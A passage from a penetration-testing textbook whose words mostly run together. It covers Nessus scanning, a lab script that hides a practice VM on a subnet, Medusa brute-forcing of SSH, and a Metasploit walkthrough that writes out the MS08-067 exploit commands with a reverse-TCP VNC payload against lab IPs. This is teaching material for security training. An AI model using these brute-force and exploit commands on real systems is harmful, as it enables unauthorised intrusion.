Nowthatyouhaveapolicysetup,youcanrunascanagainstyourtarget.Toset up a scan, you need to click the “Scans” link located in the top menufollowedbythe“NewScan”buttonlocatedontheright-handsideofthepage.Nessuswillbringupanewwindowthatcanbeusedtoconfigureandcustomizeyourscan.YoucanenterindividualaddressestoscanasingletargetoralistofIPstoscanmultiplehosts.Figure3.8showsthe“NewScan”screen.

FIGURE3.8 SettinguptheNessusscan.

Before launching the scanyouneed to provide a name, select a policy, andentertheIPaddressofyourtargets.Itisdefinitelyworththeefforttoprovideadescriptivenametoyourscan.Doingsowillallowyoutoquicklylocateandsortyour scan results at a later date. You can enter your target IP addressesindividually in the “ScanTargets”boxor if youhaveyour target IP addressessavedtoatextfile,youcanusethe“Browse…”buttontolocateandloadit.Thelatest versions ofNessus provide youwith the ability to either run your scanimmediatelyorcreateaTemplateandschedulethescantokickoffatalaterdateand time.This can be extremely handy if youneed to kick your scanoff at aparticular time. Once your options are set, you can click the “Create Scan”button in the lower right.Nessuswill provide youwith information about theprogressofyourscanwhileitisrunning.When Nessus finishes the scan, you will be able to review the results by

clickingthe“Results”linkinthemenubar.Thereportwillprovideyouwitha

detailed listing of all the vulnerabilities that Nessus discovered. We areespecially interested invulnerabilities labeledhighor critical.You should taketimetocloselyreviewthereportandmakedetailednotesaboutthesystem.Wewillusetheseresultsinthenextsteptogainaccesstothesystem.Oncewe have completed port scanning and vulnerability scanning for each

ofourtargets,weshouldhaveenoughinformationtobeginattackingthesystem.

HowDoIPracticeThisStep?Theeasiestwaytopracticeportscanningistosetuptwomachinesorusevirtualmachines.Youshouldworkyourwaythrougheachoftheoptionsandscantypesthatwe covered in this chapter. Pay special attention to the output from eachscan.YoushouldrunscansagainstbothLinuxandWindowsboxes.Youwillprobablywanttoaddsomeservicesorprogramstothetargetsystem

sothatyoucanbesureyouwillhaveopenports.InstallingandstartingFTP,awebserver,telnet,orSSHwillworknicely.Whenaperson is first learningaboutportscanning,oneof thebestways to

practiceistopickasubnetandhideanIPaddressinthenetwork.Afterhidingthetargetinthesubnet,thegoalistolocatethetarget.Oncethetargethasbeenlocated,thenextstepistoconductafullportscanofthesystem.Toassistwiththescenariodescribedabove,asimplescripthasbeencreated,

whichcanbeusedto“hide”yoursysteminagivensubnet.ThecodementionedbelowisdesignedtorunpurelyonaLinuxoperatingsystem.FeelfreetomodifyitbychangingthefirstthreeoctetsoftheIPaddresssothatitwillworkonyournetworkandsystem.Youmayalsoneed tomodify the“eth”number tomatchyour system.The script generates a random number between 1 and 254. Thisnumber is to beused as the final octet in the IP address.Once the random IPaddressiscreated,thescriptappliestheaddresstothemachine.Running this script will allow you to become familiar with the tools and

techniqueswecoveredinthischapter.YoucanenterthescriptintoatexteditorandsavethefileasIP_Gen.sh.

#!/bin/bash

echo “Setting up the victim machine, this will take just a

moment…”

ifconfigeth0down

ifconfigeth0192.168.18.$((($RANDOM%254)+1))up

#uncommentthefollowinglinesbyremovingthe#,tostartup

servicesonyourvictim

# please note, you may need to change the location/path

dependingonyourdistro

#etcinit.d/sshstart

# note, you may have to generate your SSH key using sshd-

generate

#etcinit.d/apache2start

#etcinit.d/atftpd start echo “This victim machine is now

setup.”

echo “The IP address is somewhere in the 192.168.18.0/24

network.”

echo“Youmaynowclosethiswindowandbeginyourattack…Good

luck!”

Youwillneedtouseaterminaltonavigatetothedirectorywhereyoucreatedthefile.Youneedtomakethefileexecutablebeforeyoucanrunit.Youcandothisbytyping

chmod755IP_Gen.sh

Torunthescript,youtypethefollowingcommandintoaterminal:./IP_Gen.sh

The script should run and provide you with a message saying the victimmachineisallsetup.Usingthescriptabove,youwillbeabletopracticelocatingandscanningatargetmachine.

WhereDoIGofromHere?OnceyouhavemasteredthebasicsofNmapandNessus,youshoulddigintotheadvancedoptionsforbothtools.Thischapteronlyscratchedthesurfaceofbothof these fine tools. Insecure.org is a great resource for learning more aboutNmap. You should dedicate time to exploring and learning all the variousswitches and options. Likewise, Nessus has a plethora of additional features.Taketimetoreviewthevariousscansandpolicyoptions.It isdefinitelyworthyourtimetodiveintotheNSE.Besuretorevieweachoftheexistingcategoriesand scripts. If you haveMetasploitable and aWindows targetVM, be sure toexecute the various scripts against your targets and become familiar with theoutput.YourultimategoalshouldbetowriteyourowncustomNSEscriptsandextendtheframeworkevenfurther.Another great tool for you to learn is OpenVAS. OpenVAS is the open

vulnerability assessment system. OpenVAS is open source, well documented,activelydeveloped,andbestofall,free.OpenVASisverysimilartoNessusandallowsyoutoscantargetsforvulnerabilities.After you are comfortable with the advanced features of these tools, you

should look at other scanners as well. There are lots of good port scanners

available.Pickafew,installthem,andlearntheirfeatures.ItmaybeworthyourtimeandefforttoexplorecommercialtoolslikeNeXpose,MetasploitPro,CoreImpact, Canvas and more; these products are not exclusively vulnerabilityscanners (they are much more). They all provide excellent vulnerabilityassessmentcomponents,althougheachofthesetoolswillcostyouactualcash.

SummaryIn this chapter, we focused on scanning. This chapter started with a briefoverviewofpingsandpingsweepsbeforemovingintothespecificsofscanning.Thetopicofscanningwasfurtherbrokendownintotwodistincttypesincludingport scanning and vulnerability scanning. The port scanner Nmap wasintroducedandseveraldifferenttypesofscanswerediscussed.Actualexamplesandoutputsofthevariousscansweredemonstratedaswellastheinterpretationof the Nmap output. The concept of vulnerability scanning was introducedthrough the use of Nessus. Practical examples were presented and discussedthroughoutthischapter.

CHAPTER4

Exploitation

InformationinThisChapter:

Medusa:GainingAccesstoRemoteServicesMetasploit:HackingHughJackmanStyle!JohntheRipper:KingofthePasswordCrackersPasswordResetting:TheBuildingandtheWreckingBallWireshark:SniffingNetworkTrafficMacof:MakingChickenSaladOutofChickenSh∗tArmitage:BreakingOuttheM-60

IntroductionIn the simplest terms, exploitation is the process of gaining control over asystem.However, it is important to understand that not every exploit leads tototal system compromise. For example, theOracle padding exploit can revealinformation and allow us to download files but does not fully compromisethe system.More accurately defined, an exploit is away to bypass a security

flaworcircumventsecuritycontrols.Thisprocesscantakemanydifferentformsbut for the purpose of this book, the end goal always remains the same:administrative-level access to the computer. In many ways, exploitation is anattempttoturnthetargetmachineintoapuppetthatwillexecuteyourcommandsanddoyourbidding.Justtobeclear,exploitationistheprocessoflaunchinganexploit. An exploit is the realization, actualization, or weaponization ofvulnerability.Exploitsareissuesorbugsinthesoftwarecodethatgiveahackerorattackertheabilitytolaunchorexecuteapayloadagainstthetargetsystem.Apayloadisawaytoturnthetargetmachineintoapuppetandforceittodoourwill.Payloadscanaltertheoriginalfunctionalityofthesoftwareandallowustodoanynumberofthingslikeinstallnewsoftware,disablerunningservices,addnewusers,openbackdoorstothecompromisedsystem,andmuchmore.Ofall thestepswecover,exploitationisprobablythestepinwhichaspiring

hackers aremost interested in. It certainly gets a lot of attention because thisphase involves many of the traditional activities that people associate with“hacking”andpenetrationtesting.Therearevolumesofbooksthatarededicatedto the process of exploitation. Unfortunately, there are also volumes ofmisinformationregardingstep3.StoriesfromHollywoodandurbanlegendsoffamedhackerexploitshavetaintedthemindofmanynewcomers.However,thisdoes not mean that exploitation is any less exciting or exhilarating. On thecontrary,exploitationisstillmyfavoritestep,evenifthereisalittleless“shockand awe” than portrayed in a typical hacker movie. But when completedsuccessfully,exploitationremainssimplybreathtaking.Of all the stepswediscuss, exploitation is probably the broadest.Thewide

rangeofactivities,tools,andoptionsforcompletingthisprocessoftenleadstoconfusionandchaos.Wheninitiallyattemptingtolearnpenetrationtestingandhacking,thelackoforderandstructurecancreatefrustrationandfailure.Itisnotuncommonforanovicetoreadaboutanewtool,orlistentoaspeakertalkaboutsomeadvancedtechniquethatcanbeusedtogainaccesstoasystem,andwantto jumpdirectly tostep3(exploitation).However, it is important to rememberthatpenetrationtestingismorethanjustexploitation.Fortunatelybyfollowingthe process identified in this book or by any other solid penetration testingmethodology,youcanalleviatemanyoftheseissues.Becausethisbookfocusesonthebasics,andasafinalwarning,itiscriticalto

stress the importance of completing steps 1 and 2 prior to conductingexploitation.ItcanbetemptingtobypassreconnaissanceandscanningandjumpdirectlytoChapter4.That isok fornow,but ifyouareevergoing toadvance

yourskillsbeyondthescriptkiddielevel,youwillneedtomastertheotherstepsaswell.Thefailuretodosowillnotonlyseverelylimityourabilitytomatureasapenetrationtesterbutwillalsoeventuallystuntyourgrowthasanexploitationexpert.Reconnaissance and scanningwill help to bring order and direction toexploitation.Ok.Nowthat thespeechisover, letusputawaythesoapboxandget to the

business at hand: exploitation.Asmentioned earlier, exploitation is oneof themostambiguousphaseswewillcover.Thereasonforthisissimple;eachsystemisdifferentandeachtargetisunique.Dependingonamultitudeoffactors,yourattackvectorswillvaryfromtargettotarget.Differentoperatingsystems(OSs),different services, and different processes require different types of attacks.Skilled attackers have to understand the nuances of each system they areattemptingtoexploit.AsyourskillscontinuetoprogressfromPadawantoJedi,you will need to expand your knowledge of systems and their weaknesses.Eventually, you will progress to custom exploitation, which is the process ofdiscoveringandwritingyourownexploits.You can use the previous step’s output as a guide for where to begin your

exploitationattempts.Theoutput fromscanning shouldbeused tohelp shape,focus,anddirectyourattacks.

Medusa:GainingAccesstoRemoteServicesWhenreviewing theoutput fromstep2,alwaysmakespecialnotesof Internetprotocol(IP)addressesthatincludesometypeofremoteaccessservice.Secureshell (SSH),Telnet, file transferprotocol (FTP),PCAnywhere,virtualnetworkcomputing (VNC), and remote desktop protocol are popular choices becausegaining access to these services often results in the complete compromise(or “owning”)of that target.Upondiscoveryofoneof these services, hackerstypicallyturntoan“onlinepasswordcracker”.Forthepurposeofthisbook,wewill define “online password crackers” as an attack techniquewhich interactswith a “live service” like SSH or Telnet. Online password crackers work byattemptingtobruteforcetheirwayintoasystembytryinganexhaustivelistofpasswords and/or user name combinations. In contrast, offline password-cracking techniques do not require the service to be running. Rather, thepasswordhashescanbeattackedinastandalonefashion.Wewillcoverofflinepasswordcrackingshortly.Whenusingonlinepasswordcrackers,thepotentialforsuccesscanbegreatly

increased if you combine this attack with information gathered from step 1.Specifically you should be sure to include any user names or passwords youdiscovered. The process of online password cracking literally requires theattackingprogramtosendausernameandapasswordtothetarget.Ifeithertheusernameorpasswordisincorrect,theattackprogramwillbepresentedwithanerrormessageand the loginwill fail.Thepasswordcrackerwill then send thenext user name and password combination. This process continues until theprogramiseithersuccessfulinfindingalogin/passwordcombooritexhaustsalltheguesses.On thewhole,even thoughcomputersaregreatat repetitive taskslikethis,theprocessisratherslow.You should be aware that some remote access systems employ a password

throttling technique that can limit the number of unsuccessful logins you areallowed. In these instances, either your IP address can be blocked or the usernamecanbelockedout.Therearemanydifferenttoolsthatcanbeusedforonlinepasswordcracking.

Two of the most popular tools are Medusa and Hydra. These tools are verysimilar innature. In thisbook, the focuswill beonMedusa, but it is stronglyencouragedthatyoubecomefamiliarwithHydraaswell.Medusa is described as a parallel login brute forcer that attempts to gain

access to remote authentication services. Medusa is capable of authenticatingwith a large number of remote services including Apple filing protocol, FTP,hypertext transfer protocol, Internet message access protocol,Microsoft SQL,MySQL, NetWare core protocol, network news transfer, PCAnywhere, POP3,REXEC,RLOGIN,simplemailtransferprotocolauthentication,simplenetworkmanagementprotocol,SSHv2,Telnet,VNC,webforms,andmore.InordertouseMedusa,youneedseveralpiecesofinformationincludingthe

targetIPaddress,ausernameorusernamelistthatyouareattemptingtologinas, a password or dictionary file containing multiple passwords to use whenloggingin,andthenameoftheserviceyouareattemptingtoauthenticatewith.One of the requirements listed above is a dictionary list. A password

dictionary is a file that contains a list of potential passwords. These lists areoftenreferredtoasdictionariesbecausetheycontainthousandsorevenmillionsof individual words. People often use plain English words or some smallvariationlikea1foraniora5foranswhentheycreatepasswords.Passwordlists attempt to collect asmanyof thesewords as possible. Somehackers andpenetration testers spend years building password dictionaries that grow togigabytes in size and containmillions or even billions of passwords. A good

dictionarycanbeextremelyusefulbutoftenrequiresalotoftimeandattentiontokeepclean.Cleandictionariesarestreamlinedandfreeofduplication.ThereareplentyofsmallwordliststhatcanbedownloadedfromtheInternet

and serve as a good starting point for building your own personal passworddictionary.Therearealsotoolsavailablethatwillbuilddictionarieslistsforyou.However, fortunately, the fine folks atKali have already included a fewwordlists for us to use. You can find these dictionaries in theusrshare/wordlistsdirectory which contains one of the most notorious password lists called“RockYou” (taken fromanextremely largedatabreach).There is alsoa smallbut very useful list included with the John the Ripper (JtR) located atusrshare/john/password.lst.

ALERT!When it comes to passwords lists, bigger is not always better.“Offline”password-crackingtoolslikeJtRcanprocessmillionsofpasswords per second. In these cases, larger passwords lists aregreat. However, other password-cracking techniques likeMedusaandHydramayonlybeable toprocessoneor twopasswordspersecond. In these cases, having a single list with billions ofpasswordsisimpracticalbecauseyousimplywillnothavethetimetoget through theentire list. Insituations like this,youarebetteroff having a smaller dictionary, which contains themost popularpasswords.

Onceyouhaveyourpassworddictionary,youneedtodecideifyouaregoingtoattempt to loginas a singleuseror ifyouwant to supplya listofpotentialusers. If your reconnaissance effortswere rewardedwith a list of user names,youmaywant to start with those. If youwere unsuccessful in gathering usernames and passwords, you may want to focus on the results of the e-mailaddressesyoucollectedwiththeHarvester.Remember,thefirstpartofane-mailaddresscanoftenbeusedtogenerateaworkingdomainusername.Forexample,assumethatduringyourpenetrationtestyouwereunabletofind

anydomainusernames.However, theHarvesterwasable todigup thee-mail

[email protected],oneoptionistocreatealistofpotentialusernamesbasedonthee-mailaddress.Thesewouldincludeben.owned, benowned, bowned, ownedb, and several other combinationsderived from thee-mailaddress.Aftercreatinga listof5–10usernames, it ispossible to feed this list intoMedusaandattempt tobrute forceyourway intotheremoteauthenticationservice.NowthatwehaveatargetIPaddresswithsomeremoteauthenticationservice

(wewillassumeSSHforthisexample),apassworddictionary,andatleastoneusername,wearereadytorunMedusa.Inordertoexecutetheattack,youopenaterminalandissuethefollowingcommand:medusa–htarget_ip–uusername–Ppath_to_password_dictionary–

Mauthentication_service_to_attack

Take amoment to examine this command inmore detail; youwill need tocustomizetheinformationforyourtarget:Thefirstkeyword“medusa”isusedtostartthebruteforcingprogram.The“–

h”isusedtospecifytheIPaddressofthetargethost.The“–u”isusedtodenoteasingleusernamethatMedusawillusetoattemptlogins.Ifyougeneratedalistofusernamesandwouldliketoattempttologinwitheachofthenamesonthelist, you can issue a capital “–U” followed by the path to the user name file.Likewise, the lowercase “–p” is used to specify a single password,whereas acapital“–P”isusedtospecifyanentirelistcontainingmultiplepasswords.The“–P”needs tobe followedby theactual locationorpath to thedictionary file.The“–M”switchisusedtospecifywhichservicewewanttoattack.To clarify this attack, let us continue with the example we set up earlier.

Supposewehavebeenhiredtoconductapenetrationtestagainst thecompany“Example.com”. During our information gathering with MetaGooFil, weuncovertheusernameof“ownedb”andanIPaddressof192.168.18.132.Afterportscanningthetarget,wediscoverthattheserverisrunningSSHonport22.Movingtostep3,oneofthefirstthingstodoistoattempttobruteforceourwayinto the server.After firingupour attackmachine andopeninga terminal,weissuethefollowingcommand:medusa–h192.168.18.132–uownedb–Pusrshare/john/password.lst

–Mssh

Figure4.1showsthecommandanditsassociatedoutput.

ALERT!

If you are having problems getting Medusa (or any of the toolscovered in this book) to run on your version of Kali, it may behelpfultoreinstalltheprogramaswediscussedinChapter1.YoucanreinstallMedusawiththefollowingcommands:apt-getremovemedusaapt-getupdateapt-getinstallmedusa

FIGURE4.1 UsingmedusatobruteforceintoSSH.

The first line shows the command we issued; the second line is aninformationalbannerthatisdisplayedwhentheprogrambegins.Theremaininglines showa seriesof automated login attemptswith theusername“ownedb”and various passwords beginning with “123456”. Notice in the 11th loginattempt, Medusa is successful in accessing the system with a user name of“ownedb”andapasswordof“Th3B@sics”.At thispointwewouldbeable toremotely login as the user by opening a terminal and connecting to the targetthroughSSH.Pleasenote, for thisexample, Ihavemadea fewchanges to thedefault “usrshare/john/password.lst” including removing the beginningcomments (the lines thatbeginwitha# sign) andadding“Th3B@sics” to thelist.

Depending on the level of engagement and goals identified in yourauthorizationandagreementform,youmaybedonewiththepenetrationtestatthis point. Congratulations!You just completed your first penetration test andsuccessfullygainedaccesstoaremotesystem.Althoughitisnotalwaysquitethateasy,youwillbesurprisedathowmany

timesasimpletacticlikethisworksandallowsyoutofullyaccessandcontrolofaremotesystem.

Metasploit:Hacking,HughJackmanStyle!Ofallthetoolsdiscussedinthisbook,Metasploitismyfavorite.Inmanyways,itisthequintessentialhackertool.Itispowerful,flexible,free,andloadedwithawesomeness. It is without a doubt the coolest offensive tool covered in thisbook and in some cases it even allows you to hack like Hugh Jackman inSwordfish!Seriously,itisthatgood.IfyouevergetachancetomeetHDMooreoranyoftheMetasploitcrew,buythemabeer,shaketheirhand,andsaythanks,becauseMetasploitisallthatandmore.In2004,atDefcon12,HDMooreandSpoonmrockedtheworldwhenthey

gavea talk titled “Metasploit:HackingLike in theMovies”.Thispresentationfocusedon“exploitframeworks”.Anexploitframeworkisaformalstructurefordevelopingandlaunchingexploits.Frameworksassist thedevelopmentprocessby providing organization and guidelines for how the various pieces areassembledandinteractwitheachother.Metasploit actually startedout as anetworkgame,but its full potentialwas

realized when it was transformed into a full-fledged exploit tool. Metasploitactuallycontainsasuiteof tools that includesdozensofdifferent functionsforvarious purposes but it is probably best known for its powerful and flexibleexploitationframework.Before the releaseofMetasploit, security researchershad twomainchoices:

they could develop custom code by piecing together various exploits andpayloadsor theycouldinvest inoneof the twocommerciallyavailableexploitframeworks, CORE Impact or ImmunitySec’s CANVAS. Both Impact andCANVAS were great choices and highly successful in their own right.Unfortunately, the cost to license and use these productsmeantmany securityresearchersdidnothaveaccesstothem.Metasploit was different from everything else because for the first time,

hackers and penetration testers had access to a truly open source exploit

framework. This meant that for the first time, everyone could access,collaborate,develop,andshareexploitsforfree.Italsomeantthatexploitscouldbe developed in an almost factory-like assembly line approach. The assemblylineapproachallowedhackersandpenetrationtesterstobuildexploitsbasedontheirownneeds.Metasploitallowsyoutoselect thetargetandchoosefromawidevarietyof

payloads. The payloads are interchangeable and not tied to a specific exploit.Apayloadisthe“additionalfunctionality”orchangeinbehaviorthatyouwanttoaccomplishonthetargetmachine.Itistheanswertothequestion:“WhatdoIwanttodonowthatIhavecontrolofthemachine?”Metasploit’smostpopularpayloads include adding new users, opening backdoors, and installing newsoftware onto a target machine. The full list of Metasploit payloads will becoveredshortly.BeforewebegincoveringthedetailsofhowtouseMetasploit,itisimportant

tounderstandthedistinctionbetweenMetasploitandavulnerabilityscanner.Inmostinstances,whenweuseavulnerabilityscanner,thescannerwillonlycheckto see if a system is vulnerable. This occurs in a very passivewaywith littlechanceofanyunintentionaldamageordisruption to the target.Metasploit andotherframeworksareexploitationtools.Thesetoolsdonotperformtests;thesetools are used to complete the actual exploitation of the target. Vulnerabilityscanners look for and report potential weaknesses. Metasploit attempts toactuallyexploitthesystemsitscans.Makesureyouunderstandthis.In 2009, Rapid 7 purchased Metasploit. HD Moore spent a considerable

amountof timeputtingpeopleateaseand reassuringeveryone thatMetasploitwouldremainfree.AlthoughseveralgreatcommercialproductshavesincebeenreleasedincludingMetasploitExpressandMetasploitPro,HDhasbeentruetohiswordandtheoriginalMetasploitprojectremainsfree.Infact,thepurchaseofMetasploitbyRapid7hasbeenahugeboosttotheMetasploitproject.Theopensource project is clearly benefitting from the commercial tool push withadditional full-time developers and staff. The rate at which new exploits andfunctionalityisbeingaddedisstaggering.Wewillfocusonthebasicshere,butyouwillwanttostayontopoflatestdevelopmentsgoingforward.Metasploit can be downloaded for free from http://www.metasploit.com. If

you are using Kali,Metasploit is already installed for you. There are severaldifferentwaystointeractwithMetasploit,butthisbookwillfocusonusingthemenu-driven, non-graphical user interface (GUI), text-based system called themsfconsole. Once you understand the basics, the msfconsole is fast, friendly,

intuitive,andeasytouse.The easiestway to access themsfconsole is by opening a terminalwindow

andentering:msfconsoleThemsfconsole can also be accessed through the applicationsmenu on the

desktop.Startingthemsfconsoletakesbetween10sand30s,sodonotpanicifnothing happens for a few moments. Eventually, Metasploit will start bypresentingyouwithawelcomebannerandan“msf>”commandprompt.ThereareseveraldifferentMetasploitbannersthatarerotatedanddisplayedatrandom,so it is normal if your screen looks different from Figure 4.2. The importantthingisthatyougetthemsf>console.TheinitialMetasploitscreenisshowninFigure4.2.

FIGURE4.2 Initialmetasploitscreen.

Please notice, when Metasploit first loads, it shows you the number ofexploits,payloads,encoders,andnopsavailable.Itcanalsoshowyouhowmanydayshavepassedsinceyourlastupdate.BecauseofMetasploit’srapidgrowth,

activecommunity,andofficialfunding,itisvitalthatyoukeepMetasploitup-to-date. This is easily accomplished by entering the following command into aterminal:msfupdateGet into the habit of running this command often. Now that Metasploit is

updated, let us begin exploring the awesomeness of this tool. In order to useMetasploit,a targetmustbeidentified,andexploitmustbeselected,apayloadneedstobepicked,andtheexploititselfmustbelaunched.Wewillreviewthedetails for each of these steps in just a few moments, but before that, let usreviewthebasicsofMetasploitterminology.Asmentionedearlier,anexploitisaprepackagedsnippetofcodethatgetssenttoaremotesystem.Thiscodecausessomeatypicalbehavioronthetargetsystemthatallowsustoexecuteapayload.Recallthatapayloadisalsoasmallblockofcodethatisusedtoperformsometask like installingnewsoftware,creatingnewusers,oropeningbackdoorsonthetargetsystem.Vulnerabilities are the weaknesses that allow the attacker to exploit the

systems and execute remote code (payloads) on the target. Payloads are theadditional software or functionality thatwe run on the target system once theexploithasbeensuccessfullyexecuted.NowthatwehaveanunderstandingofhowtoaccessandstarttheMsfconsole

andasolidunderstandingof theterminologyused, letusexaminehowwecanuse Metasploit. When first hearing about and using Metasploit, a commonmistakeofwould-behackersandpenetration testers is the lackoforganizationand thoughtfulness. Remember,Metasploit is like a scalpel, not a hatchet. Ormaybemoreappropriately,MetasploitislikeaBarrettM107sniperrifle,notanM60machinegun.Mostnewcomersareoverwhelmedby thesheernumberofexploits and payloads; and usually get lost trying to find appropriate exploits.Theyspendtheirtimeblindlythrowingeveryexploitagainstatargetandhopingthatsomethingsticks.Laterinthischapter,wewillexamineatoolthatworksinthismannerbutfornowweneedtobealittlemorerefined.Rather than blindly spraying exploits at a target, we need to find away to

match up known system vulnerabilities with the prepackaged exploits inMetasploit. Once you have learned this simple process, owning a vulnerabletarget becomes a cinch. In order to correlate a target’s vulnerabilities withMetasploit’sexploits,weneedtoreviewourfindingsfromstep2.WewillstartthisprocessbyfocusingontheNessusreportor“Nmap--scriptvuln”output.RecallthatNessusisavulnerabilityscannerandprovidesuswithalistofknown

weaknessesormissingpatches.WhenreviewingtheNessusoutput,youshouldmakenotesofanyfindingsbutpayspecialattentiontothevulnerabilitieslabeledas “high” or “critical”. Many “high” or “critical” Nessus vulnerabilities,especiallymissingMicrosoftpatches,correlatedirectlywithMetasploitexploits.

ADDITIONALINFORMATIONNessusversions4andbelowutilizea“high”,“medium”,and“low”ranking system to classify the severity of its findings. Beginningwith Nessus 5, Tenable has introduced “critical” to theclassificationscheme.DependingontheOSofyourattackmachineandhowyouinstalledNessus,youmayendupwithNessusversion4or5.Aswediscussedinthepreviouschapter,inordertoinstallor upgrade to version 5, simply visit the Nessus website anddownload the latest version for yourOS.Nessus provides a .debfile,whichcanbeinstalledbyrunningthefollowingcommand:dpkg–ideb_file_to_installIf you have a previous version of Nessus installed, this will

update your software to the latest revision and retain all yourprevioussettings.GoingforwardwewillutilizeNessus5,however;forthepurposeofthisbook,eitherversionwillworkfine.

AssumethatduringyourpenetrationtestyouuncoveredanewtargetattheIPaddress 192.168.18.131. Running Nmap tells you that your new target is aWindowsXPmachinewith service pack 3 installed and the firewall disabled.Continuing with step 2, you run both the NSE --script vuln scan and Nessusagainst the target. Figure 4.3 shows the completed Nessus report for192.168.18.131. Notice there are two “critical” findings. If you are followingalong with this example using an XP no service pack VM, Nessus probablyidentified a dozen or more “critical” vulnerabilities. This is one of the mainreasonswhyIstresslearningbasicexploitationwitholder,unpatchedversionsofWindows!

FIGURE4.3 Nessusoutputshowingthehighfindings.

In order to expedite our process, we begin by focusing on the “critical” or“high”vulnerabilitiesfirst.Nessusprovidesuswiththeabilitytoclickoneachfinding and drill down to get specific details about the identified issue.Reviewingthefirst“critical”findingrevealsthesourceofthisissueisamissingpatch. Specifically, Microsoft patch MS08-067 has not been installed on thetargetmachine.Thesecond“critical”vulnerabilitydiscoveredbyNessusrevealsanother missing Microsoft patch. This vulnerability is the result of missingMicrosoftpatchMS09-001.Furtherdetailsabouteachfindingcanbeviewedbyclickingonspecificfinding.Atthispoint,weknowourtargethasatleasttwomissingpatches.Boththese

patches are labeled as “critical” and the descriptions that Nessus provides forboth missing patches mention “remote code execution”. As an attacker, yourheartbeatshouldberacingalittleatthispointbecausethechancesareverygoodthatMetasploitwillbeabletoexploitthetargetforus.NextweneedtoheadovertoMetasploitandlookforanyexploitspertaining

toMS08-067orMS09-001.Oncewehavestartedthemsfconsole(andupdatedMetasploit),wecanusethe“search”commandtolocateanyexploitsrelatedtoour Nessus or Nmap findings. To accomplish this, we issue the “search”command followed by the missing patch number. For example, using themsfconsole,atthe“msf>”promptyouwouldtypesearchms08-067Note you can also search by date if you are trying to find a more recent

exploit, forexample,“search2013”willproductallexploits in2013.Oncethe

commandiscompleted,makedetailednotesonthefindingsandsearchforanyothermissingpatches.Metasploitwillsearchthroughitsinformationandreturnany relevant information it finds.Figure4.4 shows theoutputof searching forMS08-067andMS09-001withinMetasploit.

FIGURE4.4 FindingamatchbetweenNessusandmetasploitwiththesearchfunction.

LetusreviewtheoutputfromFigure4.4:WestartedMetasploitandissuedthe“search”commandfollowedbythespecificmissingpatchthatNessusdiscovered.

Aftersearching,Metasploitfoundamatchingexploitandprovideduswithseveralpiecesofinformationabouttheexploit.

First,itprovideduswithamatchingexploitnameandlocation;“exploit/windows/smb/ms08_067_netapi”.

Next,Metasploitprovideduswitha“rank”andbriefdescription.It is important to pay close attention to the exploit rank. This information

provides details about howdependable the exploit is (howoften the exploit issuccessful)aswellashowlikelytheexploitistocauseinstabilityorcrashesonthetargetsystem.Thehigheranexploitisranked,themorelikelyitistosucceedandthelesslikelyitistocausedisruptionsonthetargetsystem.Metasploitusessevenratingstorankeachexploit:

1.Manual2.Low3.Average4.Normal5.Good6.Great

7.Excellent.

ALERT!TheMetasploit “search” feature can also be used to locate non-Microsoft exploits. Nessus and other scanning products like theNmap --script vuln scan often include a common vulnerabilitiesand exposures (CVE) or Bugtraq ID Database (BID) number torefer critical vulnerabilities. If you are unable to locate amissingMS patch or are conducting a penetration test against a non-Microsoftproduct,besuretosearchformatchingexploitsbyCVEorBIDnumbers!Lookfortheseinthedetailsofyourvulnerabilityscanreport.

You can find more information and a formal definition of the rankingmethodology on the Metasploit.com website. Finally, the Metasploit searchfeature presents us with a brief description of the exploit providing us withadditional details about the attack.When all other things are held equal, youshouldchooseexploitswithahigherrank,astheyareless likelytodisrupt thenormalfunctioningofyourtarget.Now that you understand how to match up vulnerabilities in Nessus with

exploits inMetasploitandyouhavetheabilitytochoosebetweentwoormoreMetasploitexploits,wearereadytounleashthefullpowerofMetasploitonourtarget.Continuing with our example, we will use theMS08-067 because it has a

higher ranking. In order to runMetasploit,weneed to provide the frameworkwithaseriesofcommands.BecauseMetasploitisalreadyrunningandwehavealready found our exploit, we continue by issuing the “use” command in the“msf>”terminaltoselectthedesiredexploit.useexploit/windows/smb/ms08_067_netapiThis command tells Metasploit to use the exploit that your vulnerability

scanner identified.At thispointyour“msf>”promptwill change tomatch theprompt of your chosen exploit. Oncewe have the exploit loaded,we need toviewtheavailablepayloads.Thisisaccomplishedbyentering“showpayloads”

inthe“msf>”terminal.showpayloadsThis command will list all the available and compatible payloads for the

exploityouhavechosen.Toselectoneof thepayloads,we type“setpayload”followedbythepayloadnameintothe“msf>”terminal.setpayloadwindows/vncinject/reverse_tcpTherearemanypayloadstochoosefrom.Wewilldiscussthemostcommon

payloadsmomentarily;however,afullexaminationof thedifferentpayloadsisoutsidethescopeofthisbook.PleasereviewtheMetasploitdocumentationfordetailsoneachoftheavailablepayloads.Forthisexample,wewillinstallVNConthetargetmachineandthenhavethatmachineconnectbacktous.Ifyouareunfamiliar with VNC, it is remote control PC software that allows a user toconnecttoaremotemachine,viewtheremotemachine,andcontrol themouseandkeyboardas ifyouwerephysically sittingat thatmachine. Itworksmuchthesameasaremotedesktoporaterminalserver.ItisimportanttonotethattheVNCsoftwareisnotcurrentlyinstalledonthe

target machine. Remember that some exploits give us the ability to installsoftwareonourtargetmachine.Inthisexample,wearesendinganexploittoourtargetmachine. If successfully executed, the exploitwill call the “install vnc”payload and remotely install the software on the victimmachine without anyuserinteraction.Different payloadswill require different additional options to be set. If you

failtosettherequiredoptionsforagivenpayload,yourexploitwillfail.Therearefewthingsworsethangettingthisfarandfailingtosetanoption.Besuretowatchthisstepclosely.Toviewtheavailableoptions,issuethe“showoptions”inthe“msf>”terminal:showoptionsAfter issuing the showoptions command,we are presentedwith a series of

choices that are specific to the payload we have chosen. When using the“windows/vncinject/reverse_tcp”payload,weseethattherearetwooptionsthatneed to be set because they are missing any default information. The first is“RHOST”and thesecond is“LHOST”.RHOSTis theIPaddressof the target(remote)hostandLHOST(localhost)istheIPaddressyouareattackingfrom.To set these options, we issue the “set option_name” command in the msf>terminal:setRHOST192.168.18.131setLHOST192.168.18.130

Nowthatyouhaverequiredoptionsset,itisusuallyagoodideaatthispointto reissue the “show options” command to ensure you are not missing anyinformation.showoptionsOnceyouaresurethatyouhaveenteredalltheinformationcorrectly,youare

readytolaunchyourexploit.Tosendyourexploittothetargetmachine,simplytype the keyword “exploit” into the “msf>” terminal and hit the Enter key tobegintheprocess.exploitFigure4.5showstheminimumcommandset(minusthe“showpayloads”and

“showoptions”command)requiredtolaunchtheexploit.

FIGURE4.5 Thecommandsrequiredtolaunchanexploitfrommetasploit.

